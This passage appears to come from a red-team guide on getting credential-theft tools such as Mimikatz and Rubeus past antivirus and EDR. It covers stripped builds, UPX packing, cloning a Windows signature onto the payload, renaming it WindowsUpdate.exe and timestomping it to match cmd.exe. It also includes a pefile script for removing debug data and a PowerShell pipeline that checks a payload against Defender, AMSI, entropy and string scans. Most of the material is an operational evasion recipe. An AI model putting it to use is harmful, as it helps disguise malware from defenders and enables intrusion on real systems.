# C/C++ > Optimization > Optimization = Minimize Size (/O1)

# 4. Strip symbols
# Linker > Advanced > No Entry Point = Yes (if applicable)

# 5. Static linking (avoid DLL dependencies)
# C/C++ > Code Generation > Runtime Library = Multi-threaded (/MT)

# 6. Control Flow Guard (makes analysis harder)
# Linker > Advanced > Control Flow Guard = Yes

# MSBuild command line
msbuild Rubeus.sln /p:Configuration=Release /p:Platform="Any CPU" /p:DebugType=None

# For Mimikatz (Visual Studio)
msbuild mimikatz.sln /p:Configuration=Release /p:Platform=x64 /p:DebugSymbols=false

Post-Build Processing
#

# Strip debugging artifacts
# Use tools: strip, UPX (compression), PE editors

# 1. Remove debug sections
# PE-bear or CFF Explorer to remove .debug sections

# 2. UPX packing (optional - may trigger some AV)
upx --best --ultra-brute payload.exe -o packed_payload.exe

# 3. Clone legitimate binary metadata
python sigthief.py -i C:\Windows\System32\notepad.exe -t payload.exe -o signed_payload.exe

# 4. Add legitimate digital signature (requires valid cert)
# signtool sign /f cert.pfx /p password /t http://timestamp.digicert.com payload.exe

# 5. Entropy reduction (lower entropy = less suspicious)
# Add junk data sections to normalize entropy

# PowerShell post-build script
$buildPath = ".\bin\Release\"
$outputPath = ".\output\"

# Copy binary
Copy-Item "$buildPath\payload.exe" "$outputPath\WindowsUpdate.exe"

# Timestomp
$ref = Get-Item "C:\Windows\System32\cmd.exe"
$target = Get-Item "$outputPath\WindowsUpdate.exe"
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime

# Clone metadata (requires external tool)
& peclone.exe -s "C:\Windows\System32\svchost.exe" -d "$outputPath\WindowsUpdate.exe"

Write-Host "Build complete: $outputPath\WindowsUpdate.exe"

Strip Artifacts with Custom Script
#

# Python script to strip debugging artifacts
import pefile
import sys

def strip_debug_info(pe_path, output_path):
    pe = pefile.PE(pe_path)
    
    # Remove debug directory
    if hasattr(pe, 'DIRECTORY_ENTRY_DEBUG'):
        pe.OPTIONAL_HEADER.DATA_DIRECTORY[6].VirtualAddress = 0
        pe.OPTIONAL_HEADER.DATA_DIRECTORY[6].Size = 0
    
    # Remove debug sections
    sections_to_remove = []
    for section in pe.sections:
        if b'.debug' in section.Name or b'.pdb' in section.Name:
            sections_to_remove.append(section)
    
    for section in sections_to_remove:
        pe.sections.remove(section)
    
    # Write cleaned PE
    pe.write(output_path)
    print(f"[+] Cleaned PE written to: {output_path}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: strip_debug.py <input.exe> <output.exe>")
        sys.exit(1)
    
    strip_debug_info(sys.argv[1], sys.argv[2])

Testing & Validation
#

Test modified tools against target defenses before deployment.

Static Analysis Testing
#

# 1. DefenderCheck - Test against Windows Defender signatures
# https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe payload.exe

# Output shows which bytes trigger detection
# Modify those specific sections

# 2. ThreatCheck - Multi-AV signature detection
# https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f payload.exe -e AMSI
ThreatCheck.exe -f payload.exe -e Defender

# 3. AMSITrigger - Test PowerShell scripts against AMSI
# https://github.com/RythmStick/AMSITrigger
AmsiTrigger.exe -i script.ps1 -f 3

# 4. VirusTotal (use with caution - submits to AV vendors)
# Only use on final testing, never during development

# 5. Hybrid-Analysis / Joe Sandbox
# Upload to sandbox for behavioral analysis
# Review process tree, network connections, file operations

Dynamic Testing
#

# 1. Test in isolated VM with target EDR
# - Snapshot clean VM
# - Install target EDR (CrowdStrike, Defender ATP, Carbon Black, etc.)
# - Execute payload
# - Review alerts and telemetry
# - Revert snapshot and iterate

# 2. Monitor detection events
# Windows Defender
Get-MpThreatDetection | Select-Object -Last 5
Get-MpThreat

# Review Detection History
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" -MaxEvents 50 | 
    Where-Object {$_.Id -eq 1116 -or $_.Id -eq 1117}

# 3. Sysmon analysis
# Review Sysmon events for suspicious patterns
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 100 |
    Where-Object {$_.Id -in @(1,3,7,8,10,11)} |
    Format-Table TimeCreated, Id, Message -AutoSize

# 4. Process Monitor (Procmon)
# Filter for your payload process
# Look for:
# - Unusual registry access
# - Suspicious API calls
# - Network connections
# - File system operations

# 5. API Monitor
# Track API calls made by payload
# Identify suspicious patterns

Iterative Improvement Process
#

1. Modify Source Code
   ├─ String obfuscation
   ├─ Function renaming
   ├─ API call obfuscation
   ├─ Junk code insertion
   └─ Metadata modification

2. Compile with Hardening
   ├─ Release mode
   ├─ Strip debug info
   ├─ Optimize settings
   └─ Static linking

3. Post-Build Processing
   ├─ Strip artifacts
   ├─ Clone metadata
   ├─ Timestomp
   └─ Sign (optional)

4. Static Analysis
   ├─ DefenderCheck
   ├─ ThreatCheck
   ├─ AMSITrigger (for scripts)
   └─ Manual review

5. Dynamic Testing
   ├─ Isolated VM + EDR
   ├─ Execute payload
   ├─ Monitor telemetry
   └─ Review alerts

6. Iterate
   ├─ Identify detection points
   ├─ Modify accordingly
   └─ Repeat from step 1

7. Final Validation
   ├─ Test in target environment (if possible)
   ├─ Verify functionality
   ├─ Confirm evasion
   └─ Document for team

Automated Testing Script
#

# Automated evasion testing pipeline
function Test-PayloadEvasion {
    param(
        [string]$PayloadPath,
        [string]$OutputLog = "evasion_test.log"
    )
    
    $results = @()
    
    # Test 1: DefenderCheck
    Write-Host "[*] Running DefenderCheck..."
    $defenderResult = & DefenderCheck.exe $PayloadPath 2>&1
    $results += "DefenderCheck: $($defenderResult -match 'No threat found' ? 'PASS' : 'FAIL')"
    
    # Test 2: AMSI (if PowerShell script)
    if ($PayloadPath -match '\.ps1$') {
        Write-Host "[*] Running AMSITrigger..."
        $amsiResult = & AmsiTrigger.exe -i $PayloadPath -f 3 2>&1
        $results += "AMSITrigger: $($amsiResult -match 'No detections' ? 'PASS' : 'FAIL')"
    }
    
    # Test 3: Static properties
    Write-Host "[*] Checking static properties..."
    $fileInfo = Get-Item $PayloadPath
    $entropy = Get-FileEntropy $PayloadPath  # Custom function
    $results += "Entropy: $entropy $(if ($entropy -lt 7.0) { '(GOOD)' } else { '(HIGH - Suspicious)' })"
    
    # Test 4: Strings analysis
    Write-Host "[*] Analyzing strings..."
    $strings = & strings.exe $PayloadPath | Select-String -Pattern "mimikatz|rubeus|invoke|download|exploit" -CaseSensitive:$false
    $results += "Suspicious Strings: $($strings.Count) $(if ($strings.Count -eq 0) { '(PASS)' } else { '(FAIL)' })"
    
    # Write results
    $results | Out-File $OutputLog
    Write-Host "[+] Test complete. Results saved to $OutputLog"
    
    # Display summary
    $results | ForEach-Object { Write-Host $_ }
}

# Helper: Calculate file entropy
function Get-FileEntropy {
    param([string]$Path)
    $bytes = [System.IO.File]::ReadAllBytes($Path)
    $freq = @{}
    foreach ($b in $bytes) { $freq[$b]++ }
    $entropy = 0
    $total = $bytes.Length
    foreach ($count in $freq.Values) {
        $p = $count / $total
        $entropy -= $p * [Math]::Log($p, 2)
    }
    return [Math]::Round($entropy, 2)
}

# Usage
Test-PayloadEvasion -PayloadPath ".\payload.exe" -OutputLog "test_results.log"